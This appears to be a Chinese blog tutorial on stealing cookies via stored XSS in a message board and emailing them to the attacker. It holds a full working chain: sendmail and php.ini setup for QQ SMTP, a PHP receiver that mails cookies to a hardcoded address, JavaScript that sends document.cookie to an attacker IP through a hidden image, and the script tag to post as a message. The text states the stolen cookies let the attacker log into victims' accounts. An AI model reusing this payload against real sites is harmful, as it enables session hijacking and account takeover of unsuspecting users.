存储型XSS可以打到cookie,然后利用cookie去登陆别人账户,一般大家都使用XSS平台获取cookie,突发奇想,让自己打到的cookie发到邮箱里是不是方便?于是尝试一下XSS获取cookie发送自己邮箱。这里我用自己做的简单留言板做个示范。
图片.png这是登录界面,输入用户名进去后
图片.png
可以对留言内容进行XSS尝试,因为未作任何过滤,所以存在XSS的,这里不详细演示了,只看怎么获取cookie吧
图片.png 图片.png<script>alert(document.cookie)</script>
可以看到cookie已经出来了,这里好像我的留言板做的太简单了,因没做任何加密,,可以看到账号密码,不过这不是重点emmm,但这里的cookie只是自己的,这时别人登录也会弹出cookie但只能本人看到,因此我们要想办法获取别人的
然后我自己写了个小脚本,用来获取别人的cookie,同样的方法插入xss代码,如果别人登录将会把别人的cookie发送到我邮箱里。
因为是用php和js写的,所以我这里将php发送qq邮箱的方法说一下,毕竟这是困我好久的难题。
其实方法也不难,不过遇到各种各样的麻烦
关于配置sendmail,这是windows下的配置,ubuntu下没成功,有高手可以指点下。
首先,这里我用的是wamp和用php mail()函数发送的邮件,php mail()函数在windows不能用,需要安装sendmail,假如是用的XAMPP,则已经下载好,不需要重新下载~
1.从http://glob.com.au/sendmail/下载sendmail.zip
图片.png
2.解压到C(其他一样):下,例如C:\php\sendmail,最好短路径,长路径名有可能产生问题。
3.开启SMTP服务:因为这里我用的qq发送,所以要开启qq邮箱的SMTP服务。
所有的主流邮箱都支持 SMTP 协议,但并非所有邮箱都默认开启,您可以在邮箱的设置里面手动开启。
第三方服务在提供了账号和密码之后就可以登录 SMTP 服务器,通过它来控制邮件的中转方式。
(1)开启邮箱(进入qq邮箱点设置->帐户)
(2)验证密保(图片临时找的不方便再)
图片.png
(3)生成授权码(授权码就是下面要用的东西,忘了图一会看到有生成授权码,没必要详记)
图片.png
4.配置sendmail文件:
图片.png
图片.png
以下都是修改项
[sendmail]
; you must change mail.mydomain.com to your smtp server
smtp_server=smtp.qq.com
smtp_port=465 //特别注意:端口这里是465,不是25,网上有很多填25,腾讯邮箱特别说明了为465,还有一个忘了,困死我的地方,一直没发现这有错。
auth_username=QQ号码@qq.com
auth_password=授权码 //注意:这里是qq授权码不是邮箱密码,第一次就栽这个了,,网上有很多写密码的
force_sender=QQ号码@qq.com
5.配置php.ini文件
打开wamp的php.ini然后搜索“[mail function]”,找到下面文本块,修改以下三样
图片.png
[mail function]
; For Win32 only.
SMTP = smtp.qq.com //因为是qq邮箱
smtp_port = 25
; For Win32 only.
sendmail_from = qq号@qq.com
; For Unix only. You may supply arguments as well (default: “sendmail -t -i”).
sendmail_path = “E:\wamp64\sendmail\sendmail.exe -t”//修改成自己的路径
6.到这里就算配置完了,然后重启wamp
然后开始用自己的脚本试试了,php发送邮件的脚本很容易,然后再加上获取cookie的js脚本,就成了
<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "1057032770@qq.com"; // 邮件接收者
$subject = "COOKIE"; // 邮件标题
$message = $_GET['joke']; // 邮件正文
$from = "1057032770@qq.com"; // 邮件发送者
$headers = "From:" . $from; // 头部信息设置
mail($to,$subject,$message,$headers);
echo "邮件已发送";
}
else
echo "邮件发送失败";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//这里是用本地环境测试的,可以换成自己的ip地址
然后就可以用了
图片.png<script src='http://localhost/Myphp/joke.js'></script> //joke.js是我的js文件名
将这段代码留言就可以看到cookie了,任何人登录都可以收到他cookie
图片.png可以看到已经成功收到cookie!!
图片.png
上面是本地测试,这是正常情况下的
比如:服务器的ip地址也就是留言板地址为192.168.xx.xxx,现在我用本机去访问留言板,任何人都可已访问
图片.png
然后我充当攻击者,借用上面方法,修改为自己ip
img.src = 'http://172.21.xx.xxx/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie); //自己路径
然后在留言板留言
<script src='http://172.21.xx.xxx/Myphp/joke.js'></script>
这样每当受害者去访问服务器也就是登陆留言板就会获取他cookie,然后利用cookie不需要账号密码就可以登录他的号。
网友评论